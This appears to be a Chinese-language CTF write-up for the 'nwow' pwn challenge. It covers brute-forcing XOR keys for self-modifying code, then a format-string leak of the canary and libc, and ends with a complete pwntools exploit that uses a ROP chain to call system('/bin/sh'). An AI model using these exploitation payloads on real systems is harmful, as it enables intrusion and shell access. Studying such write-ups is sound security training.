0x00 前言

总之这题很蛋疼。。。做起来很难受,没见过这种题。。可能是我题做得少?

0x01 根据输入SMC

首先进来看到main,输出完之后有这么一个常见混淆。。。

大概就是短call然后pop出当前地址,再+7,加完之后rax刚好是jmp rax的下一条指令,不细说,不知道的可以跟一下(nop掉0x400749处的反调试)

.text:000000000040080C                 call    $+5
.text:0000000000400811 L_64:
.text:0000000000400811                 pop     rax
.text:0000000000400812                 add     rax, 7
.text:0000000000400816                 jmp     rax

接着会先把代码段设为可写然后读6个字节。。。

.text:0000000000400818                 sar     rax, 0Ch
.text:000000000040081C                 shl     rax, 0Ch
.text:0000000000400820                 mov     rdi, rax
.text:0000000000400823                 mov     rdx, 7
.text:000000000040082A                 mov     rax, 0Ah
.text:0000000000400831                 mov     rsi, 1000h
.text:0000000000400838                 syscall                 ; LINUX - sys_mprotect
.text:000000000040083A                 xor     rax, rax
.text:000000000040083D                 mov     rdx, 6
.text:0000000000400844                 push    rax
.text:0000000000400845                 lea     rax, szCh
.text:000000000040084D                 mov     rsi, rax
.text:0000000000400850                 pop     rax
.text:0000000000400851                 mov     rdi, rax
.text:0000000000400854                 syscall                 ; LINUX - read
.text:0000000000400856                 call    $+5
.text:000000000040085B L0_64:
.text:000000000040085B                 pop     rax
.text:000000000040085C                 add     rax, 24h ; rax指向0x40085B+0x24=0x40087F
.text:0000000000400860                 xor     rcx, rcx
.text:0000000000400863                 mov     dl, [rsi+rcx] ; 拿第一个输入
.text:0000000000400866
.text:0000000000400866 L1_64:                                  ; CODE XREF: 
.text:0000000000400866                 mov     bl, [rax+rcx]
.text:0000000000400869                 xor     bl, dl
.text:000000000040086B                 mov     [rax+rcx], bl ; SMC 异或
.text:000000000040086E                 mov     dh, [rax+rcx-1]
.text:0000000000400872                 inc     rcx
.text:0000000000400875                 cmp     dh, 0FBh
.text:0000000000400878                 jz      short L1_64
.text:000000000040087A                 cmp     bl, 90h
.text:000000000040087D                 jnz     short L1_64 ; 终止条件是直到一个nop且前一个字节不为fb
.text:000000000040087F                 sub     eax, 2D6D61E8h ; 待解密
.text:0000000000400884                 db      48h
.text:0000000000400884                 in      rax, 65h

所以这个单字节是不知道的,我们要猜。随便输的话解密失败明显出来乱七八糟的指令,跑一会就segfault了,所以不觉得这种乱指令能getshell。

那么怎么知道这个值是多少呢,当然要从0-255跑一遍,然后看哪个是不是乱指令。如何判断?在Pwntool中有个disasm,可以反汇编。然后如果有无法识别的指令会是(bad),所以,就把这些字节先用IDAPython给dump出来,然后解密,然后看谁没有(bad)(最后用的是这种方法),或者说谁的(bad)位置比较在后面(前面先用这个测试的),这基本可以过滤一堆了,最后需要人肉再从这十多个里面找到正确的。

是不是一股crypto和misc的破解xor的味道。。。

具体代码如下

from pwn import *
def xor(arr, k):
	ret = []
	for i in xrange(0,len(arr)):
		ret.append(chr(arr[i] ^ k))
	return "".join(ret)

bad_idx = []
for k in xrange(0,256):
	asm = disasm(xor(enc, k), arch = 'amd64') #enc是加密的代码字节,太长不贴了
	bad_idx.append(asm.find("(bad)"))
print bad_idx
m = max(bad_idx)
#print map(hex, [i for i, j in enumerate(bad_idx) if j == m])

for i in xrange(0,256):
	if bad_idx[i]>1000: # 找bad_idx比较靠后的,1000是慢慢试出来的
		print hex(i) + ":"
		print disasm(xor(enc, i), arch = 'amd64')[:256]
		print "\n\n"

然后这个方法其实不是最好的,最好的是这样的。。。(加上break条件限制)

def decrypt_fb90(arr, key):
	ret = []
	i = 0
	while i < len(arr):
		r = arr[i] ^ key
		ret.append(r)
		if (i >= 1 and ret[i-1] != 0xfb and r == 0x90):
			break
		i += 1
	return "".join(map(chr,ret))

def find_correct_key(enc):
	for k in xrange(0,256):
		asm = disasm(decrypt_fb90(enc, k), arch = 'amd64')
		if asm.find("(bad)") == -1: # 解密后的代码找不到错误指令
			print hex(k)
			print asm
			print "\n"
find_correct_key(enc)

然后就是慢慢撸,最后发现正确的key是0x65

解密之后发现又是一个类似的东西,只不过他会先把前面的代码xor加密掉(没啥意义,不知道干嘛的)

然后后面不是直接拿输入解密的,是把输入xor上前一个的key作为新的key,一共有好几段这样的代码,随便贴其中一个(都长得一样的好像)

.text:000000000040087F                 lea     rax, [rax+rcx]
.text:0000000000400883                 sub     rax, 80h
.text:0000000000400889                 xor     rcx, rcx
.text:000000000040088C
.text:000000000040088C snd_phase:                              ; CODE XREF:
.text:000000000040088C                 mov     bl, [rax+rcx]
.text:000000000040088F                 xor     bl, dl
.text:0000000000400891                 mov     [rax+rcx], bl
.text:0000000000400894                 inc     rcx
.text:0000000000400897                 cmp     rcx, 20h
.text:000000000040089B                 jl      short snd_phase ; 这个循环加密前面的代码
.text:000000000040089D                 add     rax, 80h
.text:00000000004008A3                 xor     rcx, rcx
.text:00000000004008A6                 mov     dl, [rsi+rcx]
.text:00000000004008A9                 inc     rsi
.text:00000000004008AC                 xor     dl, [rsi+rcx]  ; 新key
.text:00000000004008AF
.text:00000000004008AF L2_64:                                  ; CODE XREF:
.text:00000000004008AF                                         ; .text:00000000004008C6↓j
.text:00000000004008AF                 mov     bl, [rax+rcx]
.text:00000000004008B2                 xor     bl, dl
.text:00000000004008B4                 mov     [rax+rcx], bl
.text:00000000004008B7                 mov     dh, [rax+rcx-1]
.text:00000000004008BB                 inc     rcx
.text:00000000004008BE                 cmp     dh, 0FBh
.text:00000000004008C1                 jz      short L2_64
.text:00000000004008C3                 cmp     bl, 90h
.text:00000000004008C6                 jnz     short L2_64
.text:00000000004008C8                 nop

然后解密用的是IDAPython,这个网上有教程,不说了。。

最后一段(解密漏洞代码)好像没有0FBh这个限制了,不知道为啥,好像没区别,不过这个限制有啥用啊。。。不懂。。。希望出题人来解释下。。。

def decrypt_fb90(addr, key):
	while True:
		r = Byte(addr) ^ key
		PatchByte(addr, r)
		if (Byte(addr-1) != 0xfb and r == 0x90):
			break
		addr += 1
	print hex(addr)

def decrypt_xor(addr, num, key):
	for i in xrange(0,num):
		PatchByte(addr + i, Byte(addr + i) ^ key)

def dump_bytes(beg, end):
	ret = "["
	for p in xrange(beg, end):
		ret += hex(Byte(p)) + ","
	print ret
	return ret

最后解出来6个字节如下

1 key:0x65 => e
2 key:0x13 ^0x65 => v
3 key:0x4b ^0x13 => X
4 key:0x25 ^0x4b => n
5 key:0x44 ^0x25 => a
6 key:0x0f ^0x44 => K
=> evXnaK

0x02 漏洞

所以这题其实是5分crypto,3分逆向,2分pwn(至少我花的时间差不多是这样,可能是我misc做的不熟)

漏洞其实很简单了。。。

.text:00000000004009FA                 mov     rax, 1
.text:0000000000400A01                 mov     rdx, 5
.text:0000000000400A08                 lea     rsi, szCh2      ; "wow!\n"
.text:0000000000400A10                 mov     rdi, rax
.text:0000000000400A13                 syscall                 ; LINUX - sys_write
.text:0000000000400A15                 mov     edi, 0
.text:0000000000400A1A                 call    _fflush
.text:0000000000400A1F                 cmp     rax, rax
.text:0000000000400A22
.text:0000000000400A22 L_J0:
.text:0000000000400A22                 jnz     short near ptr loc_400A33+3
.text:0000000000400A24                 call    $+5
.text:0000000000400A29
.text:0000000000400A29 L_J1:
.text:0000000000400A29                 pop     rax
.text:0000000000400A2A                 add     rax, 7
.text:0000000000400A2E                 jmp     rax
.text:0000000000400A30                 xor     rax, rax
.text:0000000000400A33
.text:0000000000400A33 loc_400A33:                             ; CODE XREF: .text:L_J0↑j
.text:0000000000400A33                 mov     rdx, 1Ah
.text:0000000000400A3A                 mov     rsi, rsp
.text:0000000000400A3D                 mov     ds:lpGoble, rsp
.text:0000000000400A45                 mov     rdi, rax
.text:0000000000400A48                 syscall                 ; LINUX - sys_read
.text:0000000000400A4A                 mov     rax, cs:lpGoble
.text:0000000000400A51                 mov     rdi, rax
.text:0000000000400A54                 mov     eax, 0
.text:0000000000400A59                 call    _printf         ; 栈中格式化字符串漏洞
.text:0000000000400A5E                 xor     rax, rax
.text:0000000000400A61                 mov     rdx, 200h
.text:0000000000400A68                 lea     rsi, [rsp-20h]
.text:0000000000400A6D                 mov     rdi, rax
.text:0000000000400A70                 syscall                 ; read,栈溢出
.text:0000000000400A72                 nop

首先"%13$lxAAA%8$sBB\x00" + p64(prog.got["puts"])可以leak出canary和libc,具体这个位置怎么确定的调一下就知道了。。。

然后栈溢出,可以覆盖到返回地址,具体payload如下

p64(canary)*(0x68/8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(0)

因为懒得确定canary的位置直接padding全放成canary了,然后ROP,/bin/sh是在libc里面就有的字符串,pop rdi是在源程序里面找的,返回地址设成了0,这个倒是无所谓。0x68怎么确定的也是调一下就好了。。

完整exp

from pwn import *

g_local=True
prog = ELF('./nwow')
#context.log_level='debug'
if g_local:
	e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
	sh = process('./nwow')#env={'LD_PRELOAD':'./libc.so.6'}
	#gdb.attach(sh)
else:
	sh = remote("139.199.99.130", 65188)

sh.recvuntil("***************************\n\n")
sh.recvuntil("***************************\n\n")
sh.recvuntil("***************************\n\n")
sh.recvuntil("***************************\n\n")

sh.send("evXnaK")
sh.recvuntil("wow!\n")
sh.send("%13$lxAAA%8$sBB\x00" + p64(prog.got["puts"]))

canary = sh.recvuntil("AAA")
assert len(canary) == 16 + 3
canary = int(canary[:16],16)

puts_leak = sh.recvuntil("BB")
print puts_leak
print len(puts_leak)
assert len(puts_leak) == 6 + 2
puts_leak = u64(puts_leak[:6] + "\x00\x00")
libc = puts_leak - e.symbols["puts"]
system_addr = libc + e.symbols["system"]
binsh_addr = libc + (next(e.search('/bin/sh\x00')))
print "canary: " + hex(canary)
print "puts: " + hex(puts_leak)
print "libc: " + hex(libc)
print "bin/sh: " + hex(binsh_addr)
pop_rdi_ret = 0x400b23
sh.send(p64(canary)*(0x68/8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(0))

sh.interactive()